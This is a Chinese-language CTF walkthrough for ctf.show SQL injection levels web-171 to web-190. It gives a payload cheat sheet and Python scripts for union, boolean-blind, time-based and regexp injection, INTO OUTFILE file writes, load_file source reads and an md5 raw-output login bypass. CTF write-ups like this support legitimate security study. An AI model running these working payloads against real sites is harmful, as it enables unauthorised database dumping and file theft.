PayloadList
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#联合查询
-1' union select password,2 from ctfshow_user2 where username="flag"--+

#二态联合查询盲注
?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'xiao','da')--+

#时间盲注
?id=1' and 1=if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(3),1)--+

#读写文件语句(into outfile '/var/www/html/1.txt')
?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

#过滤参数
id=-1'or(id=26)and'1'='1 #(引号闭合)

#md5($_POST['password'],true);绕过
md5(ffifdyop)="'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c"

#数字限制
SELECT * FROM ctfshow_user WHERE username = 0;可以匹配所有字母开头

#

web-171

这里共有两种办法

一种是按部就班查数据名、查表名、查列名逐级查询后爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time

url = "http://7afb9059-bf03-4d0f-bc39-5df7a714a28b.challenge.ctf.show/api/"
flag = ''
choice=int(input("输入选项"))

for i in range(1,200):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
if(choice==1):
payload = url+"?id=1' and ascii(substr(database(),{},1))>{}--+".format(i,mid)
#ctfshow_web
elif(choice==2):
payload = url+"?id=1' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow_web')),{},1))>{})--+".format(i,mid)
#ctfshow_user
elif(choice==3):
payload = url+"?id=1' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_user')),{},1))>{})--+".format(i,mid)
#id,username,password
elif(choice==4):
payload = url+"?id=1' and (ascii(substr((select(group_concat(password))from(ctfshow_user)),{},1))>{})--+".format(i,mid)
#admin,111,222,pass...
print(mid)
res = requests.get(url=payload)
#print(res.text)
if "admin" in res.text:
low = mid+1
#print(chr(mid))
else:
high = mid
mid = (low+high)//2
if mid ==32 or mid ==127:
break
flag = flag+chr(mid)
print(flag)

另一种是使得查询式恒等,即如下所示:

-1' or 1--+

web-171-1

web-172

第二关过滤了查询结果,我们可以使用联合查询进行测试:

-1' union select 1,2--+

web-172-1

-1' union select password,2 from ctfshow_user2 where username="flag"--+

web-172-2

web-173

比第二关联合查询多了个列

-1' union select 1,password,2 from ctfshow_user3 where username="flag"--+

web-174

这个多少有点坑,把过滤结果中的数字给屏蔽了,flag中虽然没有flag,但是终究还是有数字的呀。因此可以选择盲注,用if来判定,自己设定二态来交给程序判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url="http://aeecaff5-8ba4-459a-ac8a-cc6e4fefe910.challenge.ctf.show/api/v4.php"
flag=''

for i in range(1,100):
max=128
min=32
while 1:
middle=min+((max-min)//2)
if min==middle:
flag+=chr(middle)
print(flag)
break
payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'xiao','da') -- -"%(i,middle)
res=requests.get(url=url+payload).text
print(res)
if "xiao" in res:
max=middle
else:
min=middle

web-175

这波直接过滤了所有的ASCII字符,不知道可不可以用其他的字符,没试过。

方法一:

可以用时间盲注,修改一下上面的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time
url="http://82091de5-a7af-43c0-91c5-0bfe2331754c.challenge.ctf.show/api/v5.php"
flag=''

for i in range(1,100):
max=128
min=32
while 1:
time.sleep(0.2)
middle=min+((max-min)//2)
if min==middle:
flag+=chr(middle)
print(flag)
break
payload="?id=1' and 1=if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(3),1) -- -"%(i,middle)
start_time0 = time.time()
res=requests.get(url=url+payload)
if(time.time() - start_time0>3):
max=middle
else:
min=middle

方法二:

使用读写文件语句

?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

之后查看相应站点的1.txt

web-176

万能密码不解释

1' or 1=1--+

web-177

“–+”,“ ”疑似被过滤

1'||1=1%23

web-178

同上,不知道过滤了什么

web-179

同上

web-180~182

id=-1'or(id=26)and'1'='1

这个倒是第一次见,全句是

select id,username,password from ctfshow_user where username !='flag' and id = 'id=-1'or(id=26)and'1'='1' limit 1;

绝妙的引号闭合

web-183

post过滤,只给了表名的注入点,不知所云,waf有:

1
2
3
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

翻译过来就是过滤了*,|,#,=以及file、or、select、and、flag、into

借鉴了regexp注入脚本,虽然前面的是错误的,但是{}中的内容是正确的,原理待探究

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = 'http://b83cf405-f6f4-4ac3-8924-b588cb2efe81.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
res = ""
for i in range(1,46):
for j in flagstr:
data = {
'tableName': f"(ctfshow_user)limit(1)offset(0)where(substr(pass,{i},1))regexp('{j}')"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
res += j
print(res)
break

web-184

web-185

web-186

web-187

返回逻辑如下,看到对密码做了如下处理

1
2
3
4
5
6
7
8
$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是’ or ‘6,所以账号密码为

$username = admin;
$password = ffifdyop;

web-188

返回逻辑如下,可以看到用户名过滤了一堆,密码只能是数字并且得到的密码必须和密码一样是数字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

这道题触及到了知识盲区,刚看到的时候感觉完全摸不到头脑。

在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来,比如:

web-188-1

而让密码为0则是为了让if($row['pass']==intval($password))成立再次运用那个比较

web-189

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time

url="http://fa9c0317-5e8e-446f-be0f-c64967458b42.challenge.ctf.show/api/"
flag=''
for i in range(250,350):
max=128
min=32
while 1:
#time.sleep(0.2)
middle=min+((max-min)//2)
if min==middle:
flag+=chr(middle)
print(flag)
break
payload="if(ascii(substr(load_file('/var/www/html/api/index.php'),%d,1))<%d,1,0)"%(i,middle)
#print(payload)
data={
"username":payload,
"password":1
}
r=requests.post(url,data=data).text
#print(r)
if "\\u67e5\\u8be2\\u5931\\u8d25" in r:
max=middle
else:
min=middle

可得php切片,包含flag

web-190

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

url="http://d5a4bc3e-a1bf-460b-8499-a54d5c8b1e9e.challenge.ctf.show/api/"
flag=''
for i in range(1,200):
max=128
min=32
while 1:
#time.sleep(0.2)
middle=min+((max-min)//2)
if min==middle:
flag+=chr(middle)
if middle == 32:
exit(0)
print(flag)
break
#payload="admin' and if(ascii(substr(database(),%d,1))<%d,1,0)='1"%(i,middle)
#ctfshow_web
#payload="admin' and if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow_web')),%d,1))<%d,1,0)='1"%(i,middle)
#ctfshow_fl0g,ctfshow_user
#payload="admin' and if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_fl0g')),%d,1))<%d,1,0)='1"%(i,middle)
#id,f1ag
payload="admin' and if(ascii(substr((select(group_concat(f1ag))from(ctfshow_fl0g)),%d,1))<%d,1,0)='1"%(i,middle)
#ctfshow{30a68bc5-6488-4411-a820-2bf64d5fd7e3}
data={
"username":payload,
"password":0
}
r=requests.post(url,data=data).text
print(r)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r:
max=middle
else:
min=middle